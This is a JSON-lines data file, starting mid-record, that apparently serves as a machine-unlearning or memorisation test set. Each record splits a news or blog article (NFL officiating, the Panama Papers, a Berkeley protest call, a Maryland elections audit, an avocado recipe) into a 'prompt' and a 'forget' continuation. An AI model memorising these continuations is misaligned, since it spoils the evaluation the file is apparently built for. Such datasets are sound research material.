Her win also includes return flights from Dublin to Cardiff, airport transfers, the assistance of a Killester Travel Rep, a Rugby World Cup souvenir, and two match tickets. So who\u2019s the lucky travelling companion? \u201cI suppose I have to bring Michael, it would look kind of bad otherwise,\u201d Shelagh"}
{"prompt": "SAN DIEGO -- Shannon Eastin broke the NFL's on-field gender barrier Thursday night, serving as the line judge for a seven-person crew working a preseason game between the Green Bay Packers and San Diego Chargers. Wearing No. 27 on the back of her official's uniform, Eastin was dwarfed by the players as she lined up in front of San Diego's sideline and had a camera following nearly every move before the game. Shannon Eastin became the first woman to officiate an NFL game on Thursday. (Denis Poroy/Associated Press) The 42-year-old from Tempe, Ariz., seemed at ease in the spotlight, though,", "forget": "and had at least two players shake her hand before the opening kickoff. Though she wasn't involved in many calls until late, Eastin stayed steady among the giants and the national spotlight, earning her stripes by receiving the ultimate officials' compliment: It was almost as if she wasn't there. It's no surprise. She's a referee in the Mid-Eastern Athletic Conference, college football's second-highest level, and a 16-year veteran of officiating. Eastin got her NFL shot as a replacement official, among a group taking the place of the regular refs, who are locked out. And now, she'll have a place in the Pro Football Hall of Fame. Well, at least her cap will; the one she wore Thursday night is headed to Canton. Eastin spent most of the first half straddling the line markers and keeping track of the time, without much action on her side of the field. Things picked up in the second half, when she had to break up a small skirmish between players on a punt and whipped her flag to the middle of the field for a holding call late in the third quarter. The coaches of the NFL weigh in on a number of hot-button topics in the league, including Andrew Luck vs. RG3, Tim Tebow, challenge flag etiquette, the Packers' QB tree and the 2012 Hall of Fame class. Eastin heard a few boos early in the fourth quarter from the hometown fans for a pass interference call on San Diego's Corey Lynch -- a call she appeared to get right -- and later signaled touchdown when Green Bay's Marc Tyler dived in from 1 yard out. Eastin joins a small group of women to crack the officiating ranks at the highest levels of sports. Violet Palmer, one of Eastin's inspirations, began officiating NBA"}
{"prompt": "\u201cYou\u2019re in the great game now. And the great game is terrifying,\u201d Tyrion, the newly appointed hand of the queen warns Daenerys Targaryen in the season 6 finale of \u201cGame of Thrones\u201d which saw the Mother of Dragons finally setting sail for Westeros. That\u2019s exactly where we can expect to pick up in the much anticipated season premiere for the seventh and penultimate season of the cultural phenomenon. The great news when coming to making bold predictions about one of the most unpredictable television series in modern history is that last season\u2019s finale wrapped up a whole bunch of hanging", "forget": "storylines in a great green flash of wildfire. Thanks Cersei! Gone are most of the Tyrell family as well as the High Sparrow and of course King Tommen, an unintended consequence that has left Cersei and Jamie without any heirs. 'GAME OF THRONES' SEASON 7 PROMOTION STUNT PUTS WHITE WALKERS IN LONDON Last season ended with Jamie Lannister riding back into the wreckage of Kings Landing to find his sister/lover sitting on the iron throne. Considering the Kingslayer\u2019s history with monarch\u2019s driven mad with threatening wildfire upon the kingdom, how he handles the news of Tommen\u2019s death and Cersei\u2019s new reign will be something to watch for in the season premiere as well (if a certain witch\u2019s prediction holds any weight, he won\u2019t handle it very well either). When we left the Stark clan last season, they were on the threshold of a long awaited family reunion. Sansa and Jon Snow have retaken Winterfell, with the always scheming Littlefinger in their midst, to whom both are now indebted. Not a good place to be. Both Bran and Arya are making their way back home but with very different purposes. Bran, having learned of Snow\u2019s true lineage may hold the key to the entire show\u2019s conclusion (as well as possibly being able to warg into a dragon or two). Arya\u2019s path of vengeance always seems to take her down another winding path. This is where the mystery of Robert Baratheon\u2019s bastard still goes unsolved, the one that cost Ned Stark his head as it turns out. Poor Gendry is still rowing (expect a reunion between them sometime this season and perhaps more). Expect him to wash ashore this week or next. Speaking of the wilds of Westeros -- Uncle Benjen -- is alive and dealing with a nasty case of frostbite."}
{"prompt": "In the Mel Brooks comedy, \"The Producers,\" the characters set out to make a Broadway flop, only to see it become a smashing success. What if something similar is happening with Obamacare's first open enrollment period under President Trump? To be clear, the idea of Republican \"sabotage\" of Obamacare has been exaggerated. Even when President Barack Obama was in office and willing to do everything in his power (or even take actions that were illegal) to prop up his signature healthcare law, the program's health exchanges were running into problems. Too few young and healthy people were signing up to", "forget": "offset the costs of covering older and sicker individuals, insurers were losing billions of dollars and reacting by raising premiums, slashing coverage, or exiting the market altogether. These problems did not arise because of Trump. In fact, these problems are part of the reason we ended up with Trump and a Republican-controlled Congress. That having been said, it is true that Trump has, on several occasions, talked about letting Obamacare \"implode.\" He's said the law is dead. And whereas Obama did everything in his power to promote and advance his law, Trump has in many cases done the opposite. His administration has slashed the ad and outreach budget, cut the open enrollment period in half from three months to six weeks, and refused to continue Obama's illegal payments to insurance companies known as cost-sharing reduction subsidies. All of these actions and others, taken together, led most healthcare analysts to assume that enrollment would be down this year, perhaps significantly. But then something funny happened. On Thursday, the Centers for Medicare and Medicaid Services released data on the first four days of open enrollment, and they smashed expectations. More than 600,000 signed up in that short time for coverage through the federal healthcare.gov website, a seemingly much faster pace than last year. Now, many caveats should be applied. It's merely four days, which isn't much of a sample size. With the open enrollment period being half as long, the daily average would have to be double just to sign up the same number of people as a year ago. All of the fundamentals that led experts to project lower enrollment this year still hold, especially given that premiums are skyrocketing for those who don't qualify for subsidies. But while the smart money may still point to a lower enrollment number, the"}
{"prompt": "Three former Conservative MPs and six peers have connections to offshore companies, despite PM\u2019s calls for reform Several of the donors, MPs and financiers who have supported David Cameron\u2019s rise to power have had links to the UK\u2019s network of tax havens, the Panama Papers reveal. Three former Conservative MPs and six members of the House of Lords are among those with connections to companies on the books of the offshore law firm Mossack Fonseca. Though it is legal to manage money offshore, the practice has drawn increasing criticism during years of enduring austerity. The British prime minister has been", "forget": "calling for reforms, recognising \u2013 along with other world leaders \u2013 that the system is too secret and in need of an overhaul. In 2012, Cameron criticised complex offshore structures saying it is \u201cnot fair and not right\u201d. At a G8 summit in Enniskillen three years ago, he demanded more transparency, saying this would be better for business in the UK. Last year, he added: \u201cI\u2019ll continue to make the case for transparency with international partners, including the British overseas territories and crown dependencies. And I am willing to go further, and take concrete steps to force the pace.\u201d However, critics say world leaders are dragging their feet \u2013 fears fuelled in the UK before last year\u2019s general election when it emerged that many Tory candidates were receiving donations from offshore tax havens. Cameron will have a chance to challenge doubters who say he has benefited from an opaque system by pushing for reforms at an \u201coffshore\u201d conference he is hosting in London next month. Under the spotlight will be tax havens such as the British Virgin Islands, which are among the biggest providers of offshore secrecy. There is no evidence the politicians and donors have done anything wrong. But the disclosures raise legitimate questions for an ongoing public debate about the ethics of tax havens, whether there should be more transparency from those go offshore, and whether they will continue to do so following the revelations in the Panama Papers. The businessmen include: Tony Buckingham According to the documents, the energy company Heritage Oil, founded by the Conservative donor Buckingham, \u201curgently\u201d moved its corporate registration from one tax haven to another, which could have permitted it to avoid hundreds of millions of pounds in tax. Mossack Fonseca was ordered to transfer the company registration from the Bahamas to Mauritius"}
{"prompt": "Halifax police say they are investigating an alleged case of assault in front of an Argyle Street bar this weekend after a Halifax musician spoke out about a violent incident he witnessed. John Wesley Chisholm says he was at the Carleton Music Bar Saturday around midnight. He often plays there as a musician, but was there as a customer. A young, drunk patron was involved in an exchange with another patron and a doorman ejected him. \"The doorman rough-handles him out the door. He gets belligerent, swings at the bouncer, and the bouncer beats him down on the street,\" Chisholm", "forget": "said Monday. That sparked a \"melee\" with other patrons. Chisholm says the doorman \"grabs him by the hair and beats his head over and over against the ground.\" Excessive force? Chisholm says a female friend of the patron's tried to stop the bouncer, but was shoved out of the way. The police arrived and cuffed the patron before taking him home. Chisholm said he felt the doorman used excessive force. He says he offered to make a statement to police, but that they declined to take it. Chisholm says he tried to re-enter the bar, but the doorman told him he was banned. The incident happened after midnight in the city centre. (Preston Mulligan/CBC) Chisholm, who works in television, wrote a Facebook post about the incident to generate a conversation. \"I\u2019m writing it because our streets are soaked with blood and people are dying. We have to speak out and we have to cause change,\" he says in the open letter. He says it was the ordinariness of the incident that upset him most. \"I'm not around any kind of violence in my regular life and it's always really upsetting to see it,\" he told the CBC's Information Morning Monday. \"It seems to have touched a nerve because so many people have shared my experience.\" His post has been shared almost 2,000 times and attracted almost 600 comments. Patron didn't want to lay charges The Carleton says it has spoken to staff and is trying to figure out what happened. The bar confirmed the doorman, who has worked at the Carleton for four years, is no longer on the schedule On Monday, Halifax police said they had assigned Supt. Sean Auld to look into the matter further. Auld is responsible for policing and public safety in the downtown core. The"}
{"prompt": "Author Anne Rice delivered the ultimate smack down on her Facebook page yesterday, telling her fans, \u201cI will no longer tolerate hate speech in the guise of Christian belief.\u201d Ms. Rice, whose son Christopher made Out Magazine\u2019s list of top ten gay bachelors last week, has been a longtime LGBT rights supporter. Following Hollywood actress Ellen Page\u2019s coming out this weekend, Rice posted a congratulatory note on Facebook Saturday to which dozens of haters left vile comments under the post. Ms. Rice then took to Facebook with this awesome post: Our post commending actress Ellen Page for her courage in", "forget": "coming out as gay attracted a lot of hostility and hate and hate speech \u2014 as well as positive and substantive comments. I have banned many from the page today. I will no longer tolerate hate speech in the guise of Christian belief with the usual irresponsible pick and choose bible quotes and talk of \u201csin\u201d and hellfire. I have had enough of it, and I think the world has had enough of it too. Again, I commend Ellen Page for her bravery in coming out. I hope more celebrities and public figures will be inspired to do so. Anyone who thinks this does not matter is deceiving himself or herself. It matters very much. Gay people in all walks of life suffer from bigotry, bias, superstition, and ignorance. Hats off to Ellen Page! (And please do NOT come here to tell us publicly that you \u201cdon\u2019t care.\u201d If you don\u2019t care, don\u2019t expect us to care that you don\u2019t care!). Rice also took time to respond to several of the over 3,700 comments to her post. In one response Anne explained how she bans Christian\u2019s who spread hate on her page: I ban those who engage in hate speech under the guise of Christianity. And when people say they are unliking the page or rejecting me and my works, I also delete and ban them. This is my personal choice based on my experience on the page. Rebecca commented: I do not care. The American people have bigher fish to fry. Rice hit back with this response: Then why post here? Obviously you do care enough to tell us that you disapprove of our caring. Well, I do care. I think what Ellen Page did was brave and good\u2026.And her courage will have a decidedly positive effect against the"}
{"prompt": "Take-Two CEO Explains How Disappointing Games like Battleborn and Evolve Don\u2019t Represent 2K\u2019s Quality Giuseppe Nelva November 17, 2016 12:56:50 PM EST Like all publishers, 2K Games releases some great games, and some that aren\u2019t as successful, like the recent Battleborn and Evolve. During the MKM Partners Entertainment, Leisure and Internet Conference, Take-Two Interactive Software Chief Executive Officer Strauss Zelnick explained how they aren\u2019t representative of the overall quality of the label. \u201cListen, I think 2K is doing great. I think when you put out a lot of titles, not everything is gonna work as well as one would like,", "forget": "and Battleborn is an example of that. Evolve is a little bit different. Tat was bought out of a THQ bankrupcy, and it was developed by an external studio with oversight from 2K, so it\u2019s a totally different situation. We knew it was a very unusual title, and it was a bet on an unusual title. It didn\u2019t surprise us that consumers had mixed feelings about it. Battleborn was a disappointment. We\u2019ve said so publicly, but I don\u2019t think that\u2019s systemic, because 2K is a company that brings you Civilization, with incredibly high score in the nineties, the company that brings you basketball which scores in the nineties, XCOM 2 and the like where we\u2019re known for having very high scores.\u201d Zelnick continued by mentioning that not every game is going to be perfect, and while the company has the brand and marketing power to still do well even if something goes wrong, the goal is always to drive quality: \u201cWe\u2019re an entertainment business, not everything is gonna go right all the time. We aspire to have the highest quality products, and we continue to push the envelope internally to do that, but we do not always get it right. Luckily, we have a very powerful marketing system, so even if we don\u2019t get it perfectly right, we can market through that. Luckily we have really powerful franchises, even if we don\u2019t get it right we can power thorough that. For instance we had one year when the WWE scores were less than we wanted, and we still sold a lot of WWE.\u201d So, we are in a position where even if we don\u2019t get it exactly right, we can still do well, but make no mistake, our goal is to continue to get it right and to drive quality"}
{"prompt": "Please enable Javascript to watch this video The mother of a 26-year-old man who suffered from bipolar disorder said on Sunday that she questions the police department\u2019s version of what led up to the fatal shooting of her son at Harbor-UCLA Medical Center. Ruben Jose Herrera was shot at the hospital, in unincorporated Torrance, around 2:30 p.m. Saturday after police said he reached for a gun. Herrera\u2019s name was confirmed by his mother, Graciel Herrera, and the coroner\u2019s office on Sunday. The ordeal began hours prior, when someone reported a man was throwing bottles against an apartment complex, the Los", "forget": "Angeles Police Department said. In the department\u2019s version of the events on Saturday, the vandalism suspect took a fighting stance when officers arrived, kicking and punching at them, and eventually reaching for a gun. The man\u2019s mother said Sunday that Ruben had been sitting and putting air in his bicycle's tires when police arrived, and that he cooperated with them. Police responded by beating her son \u2014 using pepper spray, a Taser on him twice, and socking him multiple times in the face and back, she said. \u201cMy son was doing everything he was told. I told them to stop. My son was bipolar. You know, \u2018please, don\u2019t hit him,\u2019\u201d Graciel Herrera said. \u201cHe (an officer) just told me to shut up and go inside.\u201d Ruben Herrera was then taken to Harbor-UCLA Medical Center, and was initially said to be cooperating with police, LAPD Cmdr. Phillip Tingirides said. It was not known what he was treated for, but his mother said he suffered injuries to his face and knees. During treatment, Herrera was handcuffed to a gurney in the hospital\u2019s emergency room. His handcuffs were briefly taken off around 2:30 p.m., when Tingirides said the suspect picked up a metal chair and began swinging it. Witnesses told police the man reached for an officer\u2019s gun, prompting an officer to fire a single round. Medical responders at the hospital attempted to save Herrera\u2019s life, but he was pronounced dead at the scene, Tingirides said. The man\u2019s mother says the officers should have treated her son differently. \u201cIf my son is bipolar, and they know he\u2019s in danger, why do they unhandcuff him? I know my son didn\u2019t do that. They\u2019re just lying,\u201d Graciel Herrera said. She then claimed police were telling a version of the story that would protect themselves. \u201cThey"}
{"prompt": "\"I'm here because I have a vote and, basically, I've been told what to do with it,\" one Irishman told a London reporter. \"Thank God they will all shut up now,\" a Dublin pensioner told a German newspaper. Both had just voted yes in this past weekend's Irish referendum on the Lisbon Treaty, whose passage removes one of the last remaining obstacles to ratification of a document that will, among other things, create a president and a foreign minister of Europe. Both had voted no during the first referendum last year, when the treaty failed to pass. Both had changed", "forget": "their minds because they were tired of hearing politicians endlessly urging them to do so. Some also felt that, during the worst recession in recent memory, they might need Europe's help. Not many Irish seem to have been inspired by the high ideals and lofty aspirations of what is sometimes called \"the European project\": Although a whopping two-thirds of Irish voters said yes to the treaty, there wasn't much audible or visible enthusiasm. A few politicians in Ireland and across the continent hailed the referendum as a \"great victory for Europe,\" but no one believed them. And thus did Europe take another, limping step toward the creation of a unified foreign policy apparatus, complaining bitterly all the way. Which is not a bad thing: If Europe is to have a single apparatus to make its foreign policy, it is important that nobody has too many illusions about it. When the referendum failed last year, I wrote that it was for the best, since \"European\" foreign policy has always been most successful when it represents the wishes of the national governments of at least two or three large countries plus several small ones, and has always been most disastrous when carried out by bureaucrats in Brussels who don't represent anyone in particular. I hesitate to use the tainted expression \"coalitions of the willing,\" but actually they work very well, in diplomacy as well as in military conflicts. Still, since I don't feel like railing against the inevitable this week, and since I suspect that there really will be a European president and a European foreign minister in the near future, it's worth contemplating what that might mean. Clearly, the real test of whether Europe's most powerful countries are taking this new treaty seriously wasn't the Irish referendum. The question of whether"}
{"prompt": "An account by Emmett J. Nolan about 'job conditioning' around the issue of breaks. On my first day of work, my manager explained to me the three options regarding breaks: 1) clock out for 30 minutes, 2) take two 10-minute breaks on the clock, or 3) take a 20-minute break on the clock. Additionally, an hour and a half \u201cblack-out\u201d period existed for breaks during the busy middle of the day. The actual state law is a 30-minute meal break and two 10-minute rest breaks for a work period over six hours. Not only was this buffet option of breaks", "forget": "illegal, but it was also a strain on the body during a 7 to 9 hour shift. This situation continued on for two years and I discovered that this system was not just limited to my department or workplace, but existed within other departments and at other locations in the company. In a meeting with my co-workers after work during the hectic holiday season, I planned to discuss what the law was on breaks, share my reasons for why I personally needed to begin taking all my breaks, and my fear of being retaliated against if I was the only worker to take their full breaks. Frustrated at this situation, my instinct was to organize around the issue and make some demands collectively. But, my co-workers and I were able to devise a creative solution in which we asserted our right to what was already ours to begin with. The collective agreement that followed would set a precedent for us to begin taking our breaks. As a result, our working conditions greatly improved and a definite sense of empowerment was instilled within us. Why would a worker not take their breaks? Well, the first answer is often that management doesn\u2019t provide them. The state law clearly states that it\u2019s management\u2019s responsibility to provide breaks and not the workers\u2019 burden to ask for them. However, the restaurant industry is often plagued by a passive-aggressive imposition by employers that taking breaks is selfish. As lower wage jobs reliant on tips and typically strained for hours, often workers are forced to overlook the immediate well-being of their health in order to scratch out a paycheck-to-paycheck financial (in)security. The following reasons are common in the restaurant industry and I heard them all from my co-workers. They go like this. The Uninformed Worker, \u201cRestaurants don\u2019t"}
{"prompt": "A top newspaper group in Alabama is urging the state\u2019s voters to write in another Republican in Tuesday\u2019s special election rather than vote for embattled GOP nominee Roy Moore. \u201cVoting for Roy Moore just because he has an \u2018R\u2019 next to his name, ignoring his record of personal and official misconduct, is neither wise nor careful,\u201d reads an editorial published Sunday on AL.com, which is home to three leading state newspapers, including The Birmingham News. ADVERTISEMENT The editorial board urges voters in Alabama to consider Sen. Richard Shelby Richard Craig ShelbyBottom Line Senate plots to avoid fall shutdown brawl How", "forget": "the border deal came together MORE\u2019s (R-Ala.) path and reasoning behind his choice to write in a Republican rather then cast his vote for Moore. \u201cFor a state's senior senator to not support his party's nominee for the other seat is almost unheard of. Historians could find just one example: from 1990, when Louisiana's Republican nominee was David Duke, a former KKK leader,\u201d the board writes. \u201cAlabamians should think hard about how effective Moore can be as junior senator, with such a fissure between him and Shelby, let alone other Republicans.\u201d Shelby said last month that he wrote in a Republican candidate and on Sunday said the state of Alabama deserves better than Moore. \"The state of Alabama deserves better,\" Shelby said on CNN's \"State of the Union.\" \"I think we\u2019ve got a lot of great Republicans that could\u2019ve won and carried the state beautifully and served honorably.\" The newspaper group last month called on voters to reject Moore and vote for Democrat Doug Jones in the wake of the initial sexual misconduct allegations levied against the Republican nominee. In the Sunday editorial, the board notes the focus on abortion in the race, arguing that a vote for a Democrat who supports abortion rights will not lead to more procedures in Alabama. \u201cHe has held to his beliefs on this even as some have urged him to waffle in order to defeat Moore,\u201d the board writes of Jones. \u201cIt's rare that a politician in Alabama will hold onto his beliefs, even when they're unpopular.\u201d Moore on Tuesday will face off against Jones in the special election for the seat vacated by Attorney General Jeff Sessions Jefferson (Jeff) Beauregard SessionsTrump says he hasn't spoken to Barr about Mueller report Ex-Trump aide: Can\u2019t imagine Mueller not giving House a \u2018roadmap\u2019 to impeachment"}
{"prompt": "In the second season of BoJack Horseman, it\u2019s revealed that the pop culture magazine Manatee Fair (get it?) is owned by a sprawling media conglomerate called AOL\u2013Time Warner\u2013PepsiCo-Viacom-Halliburton-Skynet-Toyota\u2013Trader Joe\u2019s. In the real world, this company goes by a simpler name: Verizon. The wireless carrier was the winner in the contest to finally put Yahoo out of its misery, acquiring the fading internet giant for $4.8 billion. On the one hand, paying billions of dollars for Yahoo in 2016 sounds about as forward-looking as buying AOL for $4.4 billion (which Verizon also did, but we\u2019ll get to that). The only person", "forget": "who still uses Yahoo email is your mom because you set up an account for her in 2002, right? Yahoo Answers is an elaborate piece of performance art about the amorphous nature of truth in the digital age, right? GeoCities died off two Web-point-0s ago \u2026 right? Actually, for all its failings, Yahoo is still one of the biggest internet companies in the world, a member of the vaunted billion-user club with Facebook and Google (though Yahoo\u2019s billion-user claim is a bit of a cheat as it cobbles together users of a variety of products). Yahoo.com attracts more visitors than Wikipedia, Twitter, and Reddit, according to Alexa. The company also claims 600 million mobile monthly users. That level of scale is highly enticing to Verizon, which in recent years has made a Bold Pivot to create Compelling Internet Content for the Mobile-First Generation (here is a strange list of properties Verizon now at least partially owns: The Huffington Post, Complex Media, Millennial Media, TechCrunch, Tumblr, AwesomenessTV, Flickr, Rivals.com, Katie Couric). With smartphone adoption reaching a saturation point in the United States and pay-TV growth screeching to a halt, the telco giant is looking for new revenue sources. And there\u2019s pretty much no better way to create the illusion of growth in 2016 than by publishing ungodly amounts of Content. With Yahoo (theoretically) continuing to attract a massive number of eyeballs, Verizon will make money on those visitors thanks to its purchase of AOL and a soul-crushing invention called \u201cprogrammatic ad-buying technology.\u201d Basically, AOL gives Verizon the ability to serve lots and lots of targeted ads on lots and lots of web pages. Like Spirited Away\u2019s No-Face, there may be no satiating the telco now that it\u2019s gotten a taste for Content \u2014 \u201990s Content, in particular. So, what\u2019s Verizon going"}
{"prompt": "The story in the paragraph below is false. Fiction. Urban legend. Made up \u2014 just not by me. In 1848, California and Mexico were at war. A group of Californian settlers managed to hold their ground against a larger, better armed band of Mexican attackers, and went to hoist the flag of California above their successfully defended fort. Unfortunately, none had been created yet. The captain, Jebidiah Bartlett (whom the lead character in The West Wing is named for), forcefully made a suggestion. He wanted to pay homage to the area\u2019s rich agricultural givings, specifically to the pear industry. (It", "forget": "may have had something to do with the fact that Bartlett had helped create the pear variety of the same name and was a titan of local ag industry.) The group sent instructions to a local painter to put together a flag featuring a pear in the center. Unfortunately, the painter misread the instructions, and painted a bear instead. The flag of California has looked like this \u2013one bear, no pears \u2014 ever since. Again, that story is complete nonsense (except that the flag of California does in fact look like this). Like many tall tales, that story has been emailed around by unsuspecting victims of the ruse for years. And like many urban legends, the Internet\u2019s foremost debunker of myths, Snopes.com, has an entry about it. Except this time, it\u2019s different. Snopes claims the story is true. Snopes, officially titled \u201cthe Urban Legends Reference Pages,\u201d was founded in 1995 by Barbara and David Mikkleson, a California couple with an interest in folklore who were early users of Internet newsgroups. With millions of visitors each month, their websites have become the go-to place to find out if that shocking story (or virus warning) which just hit your email inbox is, indeed, true. And in general, their information is reliable \u2014 it has to be, otherwise it wouldn\u2019t be worth much as the reference it strives to be. But they also want to drive their mission home. Snopes is predicated on the idea that what one reads online should be taken with a grain of salt. (Although, to be fair, that\u2019s true offline, too.) That rule of thumb, they believe, applies to them as well \u2014 \u201ccommon sense dictates that you should never fully rely upon someone else to do the fact checking for you,\u201d one page reads. So they concocted"}
{"prompt": "On March 4th, 2017 \u2013 2 PM, at the Peace Wall in Berkeley, CA fascists are coming back. The feeling across organized circles is that this is, on some level, a trap. So come and enjoy a strategy of vigilance. Please don\u2019t run alone after the first fascist you see, but collect yourself and take note of your surroundings. Find allies and accomplices. There will be no platform for fascism in the Bay Area nor will revolutionaries be pawns in some neo-reactionary game. Our strength is exercised not just in our ability to respond and react but in our proactive", "forget": "autonomy that creates a cool, determined, collected atmosphere of safety and solidarity. May we humbly suggest not taking any bait but make collective decisions. Stay with your affinity group and resist the frogmen that come out from behind the keyboards. This is not a statement on any particular tactic \u2013 it\u2019s a call for strategic engagement. Some wisdom garnered from fascist demonstrations over the least few years in California suggests that some participants on their side are easily shaken and violently react with weapons. This is to say Anti-Fascists should be aware of this in scenarios in which small numbers of boneheads/frogmen walk to and from the demonstration. What began as a direct response to Feb. 1st \u2013 a march for \u201cfree speech,\u201d with the frat-brownshirt Proud Boys as special guests \u2013 has been completely rebranded since Milo\u2019s fall from grace. Now the organizers of these \u201cMarches 4 Trump\u201d are trying to pull together a coalition of libertarians, ancaps, armed militias, brownshirt alt-right enforcers, the \u201cpatriotic\u201d Tea Party crowd, and alt-lite Deplorables without alienating any of them. People getting organized against fascist 'Proud Boys' holding 'March 4 Trump' in #Berkeley pic.twitter.com/sF29nUxLVS \u2014 FireWorks (@FireWorksBAY) February 22, 2017 Rich Black is the public face of the March on Berkeley. His Twitter header is a pastel ancap flag. He neglected to make the March on Berkeley Facebook event page (or its guest list) private. In an attempt to funnel every angry conservative in California into downtown Berkeley, he (or other organizers) canceled the Sacramento and Los Angeles marches and combined them with Berkeley\u2019s. He seems very eager to simultaneously a) reassure everyone that this is not an alt-right event and b) tag Gavin McInnes begging for promotion, retweet the Proud Boys, and tag both them and the Oath Keepers in his tweets."}
{"prompt": "In a bid to keep the city streets cleaner, the Maharashtra government on Tuesday approved an anti-spitting law. If you now decide to spit on the streets, you will be fined Rs 1,000 and will have to spend a day performing community service at a public office or a government office, reported The Times of India. However, this is for first-time offenders, and the punishment and fine is higher for repeat offenders. For a second-time offender, the fine will be Rs 3,000 plus three-day community service, and for repeat offenders the fine will be Rs 5,000 plus five-day community service.", "forget": "Maharashtra will become becomes the first state in India to get an anti-spitting law if cleared by the Assembly. The state government has been planning to have a proper law in place for quite some time now. Deepak Sawant, state Public Health Minister told The Indian Express,\"We had to bring in a punishment that would shame the offenders and hurt their ego. Simply paying a penalty is not enough deterrent. Offenders pay the paltry amount, and often don\u2019t think twice before repeating the act. So, we decided to bring in compulsory community service.\" The report said that offenders will be given a broom and asked to sweep a state government office or hospitals or a school. The law has been in the making for a few months now and Sawant said that the law will be in force in the next six months. \"A law against spitting in public places is already in existence and in Mumbai, the BMC acts against people who spit in public. But it is not that effective,\" Sawant had said in January 2015, pointing to a rise in the number of cases of tuberculosis. \"We will also check if we can suspend driving licence of a taxi or auto driver who spits in public places like roads. We will make the legislation effective so that there will be a deterrent for people who indulge in such activity,\" the minister had said. The new law is a precursor to banning chewing tobacco in public. Experts said an effective anti-spitting law will bring down incidences of airborne diseases. \"It will also affect the tobacco-chewing habit as people will be restrained from spitting out tobacco. This is a move towards a healthy lifestyle,\" said Dr A Bamne, executive health officer of Brihanmumbai Municipal Corporation (BMC). Even if this"}
{"prompt": "A report released by legislative auditors Friday says the State Board of Elections needlessly exposed the full Social Security numbers of almost 600,000 voters to potential hacking, risking theft of those voters' identities. The determination that election officials did not fully protect voters' personal information was one of several highly critical findings in the report. The audit also faulted state election officials' handling of issues including ballot security, disaster preparedness, contracting and balancing its books. State lawmakers called for a hearing in response to the Office of Legislative Audits report, which prompted strong reaction from critics of the board and", "forget": "its longtime administrator, Linda H. Lamone. \"This audit is an A-to-Z criticism of the way the board operates,\" said Michael Greenberger, director of the Center for Health and Homeland Security at the University of Maryland School of Law. He said the \"damning\" findings call for the establishment of an independent, bipartisan commission of computer experts to examine the board's handling of information technology issues. Doug Mayer, a spokesman for Gov. Larry Hogan, said the report underscores some of the Republican governor's longtime concerns about a \"lack of executive oversight\" at the board, where the day-to-day management is outside the administration's control. \"This is a perfect example of why those concerns are valid,\" Mayer said. \"Properly securing Maryland's election data is critically important and needs to be given the utmost priority.\" Lamone said she agreed with most of the auditor's findings, but \"virtually everything\" they identified has already been addressed. \"We were working on a lot of these things even before the auditors came in,\" she said. The audit found that the board needlessly retained the full nine-digit Social Security numbers of about 592,000 active and inactive voters in its data base \u2014 or almost 15 percent of the state's 4.1 million registered voters \u2014 when only the last four digits were needed. The report said the board then shared voters' personal information \u2014 including driver's license numbers and the last four digits of Social Security numbers \u2014 with a third-party organization without ensuring that the data was safeguarded. CAPTION Anton Black's family speaks about \u201cAnton\u2019s Law,\u201d named after Anton Black, who died in law enforcement custody on Maryland\u2019s Eastern Shore. (Luke Broadwater, Baltimore Sun video) Anton Black's family speaks about \u201cAnton\u2019s Law,\u201d named after Anton Black, who died in law enforcement custody on Maryland\u2019s Eastern Shore. (Luke Broadwater, Baltimore Sun"}
{"prompt": "Some people never leave the house in the morning without coffee. Others can\u2019t walk out the door without first catching the news. And some claim their cell phone as their one necessity item. But for me, it\u2019s breakfast. I cannot leave my house without first figuring out what\u2019s to eat. I\u2019m a huge fan of breakfast and treat it as a special part of my everyday routine. Weekdays are a bit rushed leaving me little time for elaborate items like pancakes or quiche. But weekends? That\u2019s another story. I find few things more alluring than waking up at a leisurely", "forget": "hour, moseying to the kitchen and making a delicious breakfast to be eaten over coffee in bed. Although pancakes are my all-time favorite morning item, I\u2019m always up for trying new recipes. So when I saw this idea to crack an egg into an avocado and bake it, I knew I had to try it. Besides it being incredibly good for you \u2013 with healthy fats, nutrients and loads of protein \u2013 the process is also quite easy, and would be the perfect \u2018egg in a basket\u2019 treat to serve your family this Easter for a laid-back breakfast or brunch. To prepare the dish, simply preheat your oven to 425 degrees and place a cast-iron or oven-safe skillet on the middle rack. Then, cut a medium-to-large ripe avocado in half, remove the pit, and using a spoon, scoop out a little bit more of the avocado to make more room for the egg. If your base is wobbly, you may want to slice a little of the skin off to stabilize it. Next, carefully remove the heated pan from the oven and crack a small egg into the hole of the avocado, reserving a small amount of the white if it looks like it will overflow. Then season as desired, place the skillet back in the oven, and cook until the egg white is completely cooked. Depending on how done you prefer your yolk, this should take about 10-15 minutes. Tip: Covering the skillet with an oven-safe lid would speed the process if you\u2019re low on time. Once the egg is done, serve it alongside fruit salad, toast or a whole wheat tortilla with salsa for some south-of-the-border flair. I opted to scoop mine out, smear it on my toast and top it with a little more salt and pepper."}
{"prompt": "\u201cA new commandment I give to you, that you love one another: just as I have loved you, you also are to love one another.\u201d \u2013 John 13:34 Happy Eid Al-Fatr y\u2019all! \ud83d\ude42 I decided to hold back in writing about love until the very end of Ramadan because it is the very essence of God. We as human beings have the capacity to love one another and ourselves, but so often we don\u2019t. Why is that? Is it because love is in short supply or ? I think that some reasons why so many of us go without loving", "forget": "others is because we get selfish, we expect it without putting any effort in, we think love is something that will just fall in our laps, we get self-absorbed, we get scared\u2026 I too am scared of love, more to the point true intimacy; because it is one thing to chill with your peeps and be unabashedly bold in what you say without thinking or blinking (or maybe you think and blink but you know what you\u2019re saying will get a reaction of some sort.) but it is entirely different to put out the same things to a significant other, or at least I perceive it to be, because at the end of the night you go back to your SO\u2019s place or your SO comes over to your place and you\u2019re left with what you said. And while I am careful in being articulate and communicating what I want to say so that there\u2019s no misunderstanding as to what I have to say, I still worry to a certain extent, I worry will I still be liked and I worry will I still be loved. And I want to be liked and I want to be loved, and yet it is the root of my inhibition to be bold, to take risks, to ask girls out on dates\u2026I am a work in progress, and I am getting over myself, but unfortunately I\u2019ve been in that rut for a while. Yet despite my hesitations it doesn\u2019t slow me down in working on becoming the best possible version of me. I love me, healthily and wholly, I am glad I am me and not someone else because then I wouldn\u2019t be me! Silly perhaps, but I am glad to be alive because it\u2019s great to be alive! (My coworker reminds us"}
